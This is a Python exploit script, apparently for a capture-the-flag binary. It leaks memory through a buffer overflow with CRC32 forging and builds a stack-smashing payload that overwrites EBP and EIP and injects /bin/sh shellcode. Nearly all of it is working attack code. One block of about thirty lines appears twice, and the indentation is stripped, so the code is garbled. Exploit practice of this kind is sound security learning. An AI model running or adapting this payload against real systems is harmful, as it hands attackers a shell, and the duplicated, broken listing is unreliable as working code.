def leak(str, addr, dest): #leak qword
n = (dest - addr -8)/4 + 2
print n
res = ''
for i in range(n):
r.recvuntil('# ')
r.send('1\n')
r.recvuntil('How many dounts you want? ')
r.send('x'*2040 + p64(addr) + 'aaaaaaaa\n')
r.recvuntil('# ')
r.send('3\n')
r.recvuntil('Input your local system timestamp: ')
r.send('aaa\n')
r.recvuntil('Response: ')
x = int(r.recvuntil('\n')[:-1], 16)
x = crc32.forge(x, str, 8)[8:]
# print hex(u32(x))
# print b2a_hex(x)
str = str[4:]+x
res += x
addr += 4
# print 'str',b2a_hex(str)
# print b2a_hex(res)
return u64(res[-8:])
esp = 0xffffdc5c
sc = cyclic(0x100)
# If we just let it crash by not patching out any values,
# we see that the register state looks like this:
#
# EBP: 0x61736161 (b'aasa')
# EIP: 0x61746161 (b'aata')
#
# Shellcode would be aftter that ('aaua')
sc = sc.replace('aasa', p32(esp + 0)) # EBP
sc = sc.replace('aata', p32(esp + 4)) # EIP
# Add in our '/bin/sh' shellcode
sc = sc.replace('aaua', asm(shellcraft.sh()))
forged = forge(0xe1ca95ee, sc)
#
# Find out ESP with this, by setting a breakpoint on
# 080484EC and examining ESP.
#
# gdb = shell.run("bash r.sh gdb %s $'%s'" % (binary, forged))
# gdb.send("""
# set prompt
# break *0x080484EC
# run
# """)
# gdb.clean(2)
# gdb.sendline('printf "%p\\n",$sp')
# esp = gdb.recv().strip()
# log.info("ESP: %s" % esp)
esp = 0xffffdc5c
sc = cyclic(0x100)
# If we just let it crash by not patching out any values,
# we see that the register state looks like this:
#
# EBP: 0x61736161 (b'aasa')
# EIP: 0x61746161 (b'aata')
#
# Shellcode would be aftter that ('aaua')
sc = sc.replace('aasa', p32(esp + 0)) # EBP
sc = sc.replace('aata', p32(esp + 4)) # EIP
# Add in our '/bin/sh' shellcode
sc = sc.replace('aaua', asm(shellcraft.sh()))
forged = forge(0xe1ca95ee, sc)
#
# Find out ESP with this, by setting a breakpoint on
# 080484EC and examining ESP.
#
# gdb = shell.run("bash r.sh gdb %s $'%s'" % (binary, forged))
# gdb.send("""
# set prompt
# break *0x080484EC
# run
# """)
# gdb.clean(2)
# gdb.sendline('printf "%p\\n",$sp')
# esp = gdb.recv().strip()
# log.info("ESP: %s" % esp)